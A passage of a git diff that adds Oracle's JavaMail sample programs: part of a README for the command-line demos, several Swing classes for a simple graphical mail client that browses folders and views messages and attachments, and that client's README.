the destination + folder already exists + -S : skip special folders named "SCCS", "Drafts", "Trash", and + "Shared Folders" + -c : clear out old folders before copying messages + -P : don't preserve flags when copying messages + + +- registry.java + + Demonstrates how to query the JavaMail "registry" for providers, + set default providers, etc. + + Usage: + java registry + + +- search.java + + Search the given folder for messages matching the + given criteria. Illustrates the use of the + javax.mail.search package. + + Usage: + java search -L -T -H -U -P + -f -subject -from + -today -or + + Options: + + -L : URL of the store + -T : If is not present, this indicates + the store protocol + -H : If is not present, this indicates + the hostname + -U : If is not present, this indicates + the username + -P : If is not present, this indicates + the password + -f : folder to search + + -or : If this flag is present, the search will + return messages that match any one of the + below criteria. Else the search will only + return messages that match all the criteria + + -subject : search for messages containing this string + as the Subject + -from : search for messages containing this string + as the From address + -today : search for messages received today + + +- sendfile.java + + Send the specified file to the given address. The file + is sent as an attachment. An SMTP server must be available. + + Usage: + java sendfile true|false + + Arguments (in order): + + : Recipient address + : Sender address + : name of SMTP server + : name of file to be sent + true|false : "true" to turn on session debugging, "false" otherwise + + +- sendhtml.java + + The sendhtml program works like the msgsend program, taking + the same options and input, but the text collected from the + user is sent as type "text/html" instead of "text/plain". + + This program is a good example of how to send arbitrary + string data as any arbitrary MIME type. + + +- smtpsend.java + + Takes the same options as the msgsend program, but illustrates + how to handle SMTP-specific error codes. Also accepts the + following options: + + Option: + + -v : verbose output + -A : use SMTP authentication + -S : use SSL + +- transport.java + + Illustrates how to use an explicit Transport object, how to + handle transport exceptions, and how to handle transport events. + + Usage: + java transport true|false + + Arguments (in order): + + : Recipient address + : Sender address + : name of SMTP server + : name of file to be sent + true|false : "true" to turn on session debugging, "false" otherwise + + +- uidmsgshow.java + + The uidmsgshow program works like the msgshow program, taking + the same options, except instead of using message numbers, it + uses message UID's. This will typically only work with IMAP + message stores. diff --git a/src/Java/Jars/javamail-samples/javamail-samples/client/ComponentFrame.java b/src/Java/Jars/javamail-samples/javamail-samples/client/ComponentFrame.java new file mode 100644 index 0000000..70b7636 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/client/ComponentFrame.java @@ -0,0 +1,74 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.awt.*; +import java.awt.event.*; +import javax.swing.JFrame; +import javax.swing.WindowConstants; + + +/** + * this Frame provides a utility class for displaying a single + * Component in a Frame. + * + * @author Christopher Cotton + */ + +public class ComponentFrame extends JFrame { + + /** + * creates the frame + * @param what the component to display + */ + public ComponentFrame(Component what) { + this(what, "Component Frame"); + } + + /** + * creates the frame with the given name + * @param what the component to display + * @param name the name of the Frame + */ + public ComponentFrame(Component what, String name) { + super(name); + + // make sure that we close and dispose ourselves when needed + setDefaultCloseOperation(WindowConstants.DISPOSE_ON_CLOSE); + + // default size of the frame + setSize(700,600); + + // we want to display just the component in the entire frame + if (what != null) { + getContentPane().add("Center", what); + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/client/FolderModel.java b/src/Java/Jars/javamail-samples/javamail-samples/client/FolderModel.java new file mode 100644 index 0000000..6f7ccf0 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/client/FolderModel.java @@ -0,0 +1,160 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import javax.mail.*; +import java.util.Date; +import javax.swing.table.AbstractTableModel; + +/** + * Maps the messages in a Folder to the Swing's Table Model + * + * @author Christopher Cotton + * @author Bill Shannon + */ + +public class FolderModel extends AbstractTableModel { + + Folder folder; + Message[] messages; + + String[] columnNames = { "Date", "From", "Subject"}; + Class[] columnTypes = { String.class, String.class, String.class }; + + public void setFolder(Folder what) throws MessagingException { + if (what != null) { + + // opened if needed + if (!what.isOpen()) { + what.open(Folder.READ_WRITE); + } + + // get the messages + messages = what.getMessages(); + cached = new String[messages.length][]; + } else { + messages = null; + cached = null; + } + // close previous folder and switch to new folder + if (folder != null) + folder.close(true); + folder = what; + fireTableDataChanged(); + } + + public Message getMessage(int which) { + return messages[which]; + } + + //--------------------- + // Implementation of the TableModel methods + //--------------------- + + public String getColumnName(int column) { + return columnNames[column]; + } + + public Class getColumnClass(int column) { + return columnTypes[column]; + } + + + public int getColumnCount() { + return columnNames.length; + } + + public int getRowCount() { + if (messages == null) + return 0; + + return messages.length; + } + + public Object getValueAt(int aRow, int aColumn) { + switch(aColumn) { + case 0: // date + case 1: // From String[] what = getCachedData(aRow); + case 2: // Subject + String[] what = getCachedData(aRow); + if (what != null) { + return what[aColumn]; + } else { + return ""; + } + + default: + return ""; + } + } + + protected static String[][] cached; + + protected String[] getCachedData(int row) { + if (cached[row] == null) { + try{ + Message m = messages[row]; + + String[] theData = new String[4]; + + // Date + Date date = m.getSentDate(); + if (date == null) { + theData[0] = "Unknown"; + } else { + theData[0] = date.toString(); + } + + // From + Address[] adds = m.getFrom(); + if (adds != null && adds.length != 0) { + theData[1] = adds[0].toString(); + } else { + theData[1] = ""; + } + + // Subject + String subject = m.getSubject(); + if (subject != null) { + theData[2] = subject; + } else { + theData[2] = "(No Subject)"; + } + + cached[row] = theData; + } + catch (MessagingException e) { + e.printStackTrace(); + } + } + + return cached[row]; + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/client/FolderTreeNode.java b/src/Java/Jars/javamail-samples/javamail-samples/client/FolderTreeNode.java new file mode 100644 index 0000000..f02f833 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/client/FolderTreeNode.java @@ -0,0 +1,129 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import javax.swing.tree.DefaultMutableTreeNode; +import javax.mail.Store; +import javax.mail.Folder; +import javax.mail.MessagingException; + +/** + * Node which represents a Folder in the javax.mail apis. + * + * @author Christopher Cotton + */ +public class FolderTreeNode extends DefaultMutableTreeNode { + + protected Folder folder = null; + protected boolean hasLoaded = false; + + /** + * creates a tree node that points to the particular Store. + * + * @param what the store for this node + */ + public FolderTreeNode(Folder what) { + super(what); + folder = what; + } + + + /** + * a Folder is a leaf if it cannot contain sub folders + */ + public boolean isLeaf() { + try { + if ((folder.getType() & Folder.HOLDS_FOLDERS) == 0) + return true; + } catch (MessagingException me) { } + + // otherwise it does hold folders, and therefore not + // a leaf + return false; + } + + /** + * returns the folder for this node + */ + public Folder getFolder() { + return folder; + } + + + + /** + * return the number of children for this folder node. The first + * time this method is called we load up all of the folders + * under the store's defaultFolder + */ + + public int getChildCount() { + if (!hasLoaded) { + loadChildren(); + } + return super.getChildCount(); + } + + protected void loadChildren() { + // if it is a leaf, just say we have loaded them + if (isLeaf()) { + hasLoaded = true; + return; + } + + try { + // Folder[] sub = folder.listSubscribed(); + Folder[] sub = folder.list(); + + // add a FolderTreeNode for each Folder + int num = sub.length; + for(int i = 0; i < num; i++) { + FolderTreeNode node = new FolderTreeNode(sub[i]); + // we used insert here, since add() would make + // another recursive call to getChildCount(); + insert(node, i); + } + + } catch (MessagingException me) { + me.printStackTrace(); + } + } + + + /** + * override toString() since we only want to display a folder's + * name, and not the full path of the folder + */ + public String toString() { + return folder.getName(); + } + +} + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/client/FolderViewer.java b/src/Java/Jars/javamail-samples/javamail-samples/client/FolderViewer.java new file mode 100644 index 0000000..d313d9a --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/client/FolderViewer.java @@ -0,0 +1,103 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.awt.*; +import javax.mail.*; +import javax.swing.*; +import javax.swing.event.*; +import javax.swing.table.*; + +/** + * @author Christopher Cotton + * @author Bill Shannon + */ + +public class FolderViewer extends JPanel { + + FolderModel model = new FolderModel(); + JScrollPane scrollpane; + JTable table; + + public FolderViewer() { + this(null); + } + + public FolderViewer(Folder what) { + super(new GridLayout(1,1)); + + table = new JTable(model); + table.setShowGrid(false); + + scrollpane = new JScrollPane(table); + + // setup the folder we were given + setFolder(what); + + // find out what is pressed + table.getSelectionModel().addListSelectionListener( + new FolderPressed()); + scrollpane.setPreferredSize(new Dimension(700, 300)); + add(scrollpane); + } + + /** + * Change the current Folder for the Viewer + * + * @param what the folder to be viewed + */ + public void setFolder(Folder what) { + try { + table.getSelectionModel().clearSelection(); + if (SimpleClient.mv != null) + SimpleClient.mv.setMessage(null); + model.setFolder(what); + scrollpane.invalidate(); + scrollpane.validate(); + } catch (MessagingException me) { + me.printStackTrace(); + } + } + + class FolderPressed implements ListSelectionListener { + + public void valueChanged(ListSelectionEvent e) { + if (model != null && !e.getValueIsAdjusting()) { + ListSelectionModel lm = (ListSelectionModel) e.getSource(); + int which = lm.getMaxSelectionIndex(); + if (which != -1) { + // get the message and display it + Message msg = model.getMessage(which); + SimpleClient.mv.setMessage(msg); + } + } + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/client/MessageViewer.java b/src/Java/Jars/javamail-samples/javamail-samples/client/MessageViewer.java new file mode 100644 index 0000000..31da320 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/client/MessageViewer.java @@ -0,0 +1,255 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.awt.*; +import java.awt.event.*; +import javax.mail.*; +import javax.activation.*; +import java.util.Date; +import java.io.IOException; +import javax.swing.JPanel; + +/** + * @author Christopher Cotton + * @author Bill Shannon + */ + +public class MessageViewer extends JPanel implements CommandObject { + + Message displayed = null; + DataHandler dataHandler = null; + String verb = null; + Component mainbody; + TextArea headers; + + public MessageViewer() { + this(null); + } + + public MessageViewer(Message what) { + // set our layout + super(new GridBagLayout()); + + // add the toolbar + addToolbar(); + + GridBagConstraints gb = new GridBagConstraints(); + gb.gridwidth = GridBagConstraints.REMAINDER; + gb.fill = GridBagConstraints.BOTH; + gb.weightx = 1.0; + gb.weighty = 0.0; + + // add the headers + headers = new TextArea("", 4, 80, TextArea.SCROLLBARS_NONE); + headers.setEditable(false); + add(headers, gb); + + // now display our message + setMessage(what); + } + + /** + * sets the current message to be displayed in the viewer + */ + public void setMessage(Message what) { + displayed = what; + + if (mainbody != null) + remove(mainbody); + + if (what != null) { + loadHeaders(); + mainbody = getBodyComponent(); + } else { + headers.setText(""); + TextArea dummy = new TextArea("", 24, 80, TextArea.SCROLLBARS_NONE); + dummy.setEditable(false); + mainbody = dummy; + } + + // add the main body + GridBagConstraints gb = new GridBagConstraints(); + gb.gridwidth = GridBagConstraints.REMAINDER; + gb.fill = GridBagConstraints.BOTH; + gb.weightx = 1.0; + gb.weighty = 1.0; + add(mainbody, gb); + + invalidate(); + validate(); + } + + protected void addToolbar() { + GridBagConstraints gb = new GridBagConstraints(); + gb.gridheight = 1; + gb.gridwidth = 1; + gb.fill = GridBagConstraints.NONE; + gb.anchor = GridBagConstraints.WEST; + gb.weightx = 0.0; + gb.weighty = 0.0; + gb.insets = new Insets(4,4,4,4); + + // structure button + gb.gridwidth = GridBagConstraints.REMAINDER; // only for the last one + Button b = new Button("Structure"); + b.addActionListener( new StructureAction()); + add(b, gb); + } + + protected void loadHeaders() { + // setup what we want in our viewer + StringBuffer sb = new StringBuffer(); + + // date + sb.append("Date: "); + try { + Date duh = displayed.getSentDate(); + if (duh != null) { + sb.append(duh.toString()); + } else { + sb.append("Unknown"); + } + + sb.append("\n"); + + // from + sb.append("From: "); + Address[] adds = displayed.getFrom(); + if (adds != null && adds.length > 0) { + sb.append(adds[0].toString()); + } + sb.append("\n"); + + // to + sb.append("To: "); + adds = displayed.getRecipients(Message.RecipientType.TO); + if (adds != null && adds.length > 0) { + sb.append(adds[0].toString()); + } + sb.append("\n"); + + // subject + sb.append("Subject: "); + sb.append(displayed.getSubject()); + + headers.setText(sb.toString()); + } catch (MessagingException me) { + headers.setText(""); + } + } + + protected Component getBodyComponent() { + //------------ + // now get a content viewer for the main type... + //------------ + try { + DataHandler dh = displayed.getDataHandler(); + CommandInfo ci = dh.getCommand("view"); + if (ci == null) { + throw new MessagingException("view command failed on: " + + displayed.getContentType()); + } + + Object bean = dh.getBean(ci); + if (bean instanceof Component) { + return (Component)bean; + } else { + throw new MessagingException("bean is not a component " + + bean.getClass().toString()); + } + } catch (MessagingException me) { + return new Label(me.toString()); + } + } + + /** + * the CommandObject method to accept our DataHandler + * @param dh the datahandler used to get the content + */ + public void setCommandContext(String verb, + DataHandler dh) throws IOException { + this.verb = verb; + dataHandler = dh; + + Object o = dh.getContent(); + if (o instanceof Message) { + setMessage((Message)o); + } + else { + System.out.println( + "MessageViewer - content not a Message object, " + o); + if (o != null){ + System.out.println(o.getClass().toString()); + } + } + } + + + class StructureAction implements ActionListener { + StringBuffer sb; + + public void actionPerformed(ActionEvent e) { + System.out.println("\n\nMessage Structure"); + dumpPart("", displayed); + } + + protected void dumpPart(String prefix, Part p) { + try { + System.out.println(prefix + "----------------"); + System.out.println(prefix + + "Content-Type: " + p.getContentType()); + System.out.println(prefix + + "Class: " + p.getClass().toString()); + + Object o = p.getContent(); + if (o == null) { + System.out.println(prefix + "Content: is null"); + } else { + System.out.println(prefix + + "Content: " + o.getClass().toString()); + } + + if (o instanceof Multipart) { + String newpref = prefix + "\t"; + Multipart mp = (Multipart)o; + int count = mp.getCount(); + for (int i = 0; i < count; i++) { + dumpPart(newpref, mp.getBodyPart(i)); + } + } + } catch (MessagingException e) { + e.printStackTrace(); + } catch (IOException ioex) { + System.out.println("Cannot get content" + ioex.getMessage()); + } + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/client/MultipartViewer.java b/src/Java/Jars/javamail-samples/javamail-samples/client/MultipartViewer.java new file mode 100644 index 0000000..f72b00f --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/client/MultipartViewer.java @@ -0,0 +1,186 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.awt.*; +import java.awt.event.*; +import java.io.*; +import java.beans.*; +import javax.activation.*; +import javax.mail.*; +import javax.swing.JPanel; + + +/** + * A Viewer Bean for the type multipart/mixed + * + * @author Christopher Cotton + */ + +public class MultipartViewer extends JPanel implements CommandObject { + + protected DataHandler dh = null; + protected String verb = null; + + public MultipartViewer() { + super(new GridBagLayout()); + } + + + public void setCommandContext(String verb, DataHandler dh) throws IOException { + this.verb = verb; + this.dh = dh; + + // get the content, and hope it is a Multipart Object + Object content = dh.getContent(); + if (content instanceof Multipart) { + setupDisplay((Multipart)content); + } else { + setupErrorDisplay(content); + } + } + + protected void setupDisplay(Multipart mp) { + // we display the first body part in a main frame on the left, and then + // on the right we display the rest of the parts as attachments + + GridBagConstraints gc = new GridBagConstraints(); + gc.gridheight = GridBagConstraints.REMAINDER; + gc.fill = GridBagConstraints.BOTH; + gc.weightx = 1.0; + gc.weighty = 1.0; + + // get the first part + try { + BodyPart bp = mp.getBodyPart(0); + Component comp = getComponent(bp); + add(comp, gc); + + } catch (MessagingException me) { + add(new Label(me.toString()), gc); + } + + // see if there are more than one parts + try { + int count = mp.getCount(); + + // setup how to display them + gc.gridwidth = GridBagConstraints.REMAINDER; + gc.gridheight = 1; + gc.fill = GridBagConstraints.NONE; + gc.anchor = GridBagConstraints.NORTH; + gc.weightx = 0.0; + gc.weighty = 0.0; + gc.insets = new Insets(4,4,4,4); + + // for each one we create a button with the content type + for(int i = 1; i < count; i++) { // we skip the first one + BodyPart curr = mp.getBodyPart(i); + String label = null; + if (label == null) label = curr.getFileName(); + if (label == null) label = curr.getDescription(); + if (label == null) label = curr.getContentType(); + + Button but = new Button(label); + but.addActionListener( new AttachmentViewer(curr)); + add(but, gc); + } + + + } catch(MessagingException me2) { + me2.printStackTrace(); + } + + } + + protected Component getComponent(BodyPart bp) { + + try { + DataHandler dh = bp.getDataHandler(); + CommandInfo ci = dh.getCommand("view"); + if (ci == null) { + throw new MessagingException( + "view command failed on: " + + bp.getContentType()); + } + + Object bean = dh.getBean(ci); + + if (bean instanceof Component) { + return (Component)bean; + } else { + if (bean == null) + throw new MessagingException( + "bean is null, class " + ci.getCommandClass() + + " , command " + ci.getCommandName()); + else + throw new MessagingException( + "bean is not a awt.Component" + + bean.getClass().toString()); + } + } + catch (MessagingException me) { + return new Label(me.toString()); + } + } + + + + protected void setupErrorDisplay(Object content) { + String error; + + if (content == null) + error = "Content is null"; + else + error = "Object not of type Multipart, content class = " + + content.getClass().toString(); + + System.out.println(error); + Label lab = new Label(error); + add(lab); + } + + class AttachmentViewer implements ActionListener { + + BodyPart bp = null; + + public AttachmentViewer(BodyPart part) { + bp = part; + } + + public void actionPerformed(ActionEvent e) { + ComponentFrame f = new ComponentFrame( + getComponent(bp), "Attachment"); + f.pack(); + f.show(); + } + } + +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/client/README.txt b/src/Java/Jars/javamail-samples/javamail-samples/client/README.txt new file mode 100644 index 0000000..2b00943 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/client/README.txt @@ -0,0 +1,124 @@ +SimpleClient +------------ + +Notes: +====== + +This should not be taken as a demo of how to use the Swing API, but +rather a very simple graphical mail client. It shows how viewers can +be used to display the content from mail messages. It also (like the +other demos) shows how to retrieve Folders from a Store, Messages +from a Folder, and content from Messages. + + +To run the demo: +================ + + 1. If you're using JDK 1.1.x, download the latest version of the JFC + (Swing) APIs from http://java.sun.com/products/jfc/download.html. + The SimpleClient uses at least version 1.1 of Swing. + + If you're using JDK 1.2 (J2SE 1.2) or newer, Swing is included + and no separate download is necessary. + + We *strongly* encourage you to use the latest version of J2SE, + which you can download from http://java.sun.com/j2se/. + + 2. Set your CLASSPATH to include the "mail.jar", "activation.jar", + and (if you're using JDK 1.1.x and downloaded Swing separately) + "swingall.jar", and the current directory. For example: + + For JDK 1.1 on UNIX: + + export CLASSPATH=/u/me/download/mail.jar:/u/me/download/activation.jar:/u/me/download/swingall.jar:. + + For JDK 1.2 and newer on UNIX: + + export CLASSPATH=/u/me/download/mail.jar:/u/me/download/activation.jar:. + + 3. Go to the demo/client directory + + 4. Compile all the files using your Java compiler. For example: + + javac *.java + + 5. Run the demo. For example: + + java SimpleClient -L imap://username:password@hostname/ + + Note that SimpleClient expects to read the "simple.mailcap" + file from the current directory. The simple.mailcap file + contains configuration information about viewers needed by + the SimpleClient demo program. + + + +Overview of the Classes +======================= + +Main Classes: + + SimpleClient = contains main(). + Uses the parameters to the application to + locate the correct Store. e.g. + + SimpleClient -L imap://cotton:secret@snow-goon/ + + It will create the main frame and + creates a tree. The tree uses the + StoreTreeNodes and FolderTreeNodes. + + StoreTreeNode = subclass of Swing's DefaultMutableTreeNode. + This class shows how to get Folders from + the Store. + + FolderTreeNode = subclass of Swing's DefaultMutableTreeNode. + If the folder has messages, it will create + a FolderViewer. Otherwise it will add the + subfolders to the tree. + + SimpleAuthenticator = subclass of javax.mail.Authenticator. If + the Store is missing the username or the + password, this authenticator will be used. + It displays a dialog requesting the + information from the user. + + +Viewing Folders: + + FolderViewer = Uses a Swing Table to display all of the + Message in a Folder. The "model" of the + data for this Table is a FolderModel which + knows how to get displayable information + from a Message. + +JAF Viewers: + + MessageViewer = Uses the content of the DataHandler. The + content will be a javax.mail.Message + object. Displays the headers and then + uses the JAF to find another viewer for + the content type of the Message. (either + multipart/mixed, image/gif, or text/plain) + + MultipartViewer = Uses the content of the DataHandler. The + content will be a javax.mail.Multipart + object. Uses the JAF to find another + viewer for the first BodyPart's content. + Also puts Buttons (as "attachments") for + the rest of the BodyParts. When the + Button are pressed, it uses the JAF to + find a viewer for the BodyPart's content, + and displays it in a separate frame (using + ComponentFrame). + + TextViewer = Uses the content of the DataHandler. The + content will be either a java.lang.String + object, or a java.io.InputStream object. + Creates a TextArea and sets the text using + the String or InputStream. + +Support Classes: + + ComponentFrame = support class which takes a java.awt.Component + and displays it in a Frame. diff --git a/src/Java/Jars/javamail-samples/javamail-samples/client/SimpleAuthenticator.java b/src/Java/Jars/javamail-samples/javamail-samples/client/SimpleAuthenticator.java new file mode 100644 index 0000000..f8d6dee --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/client/SimpleAuthenticator.java @@ -0,0 +1,148 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED 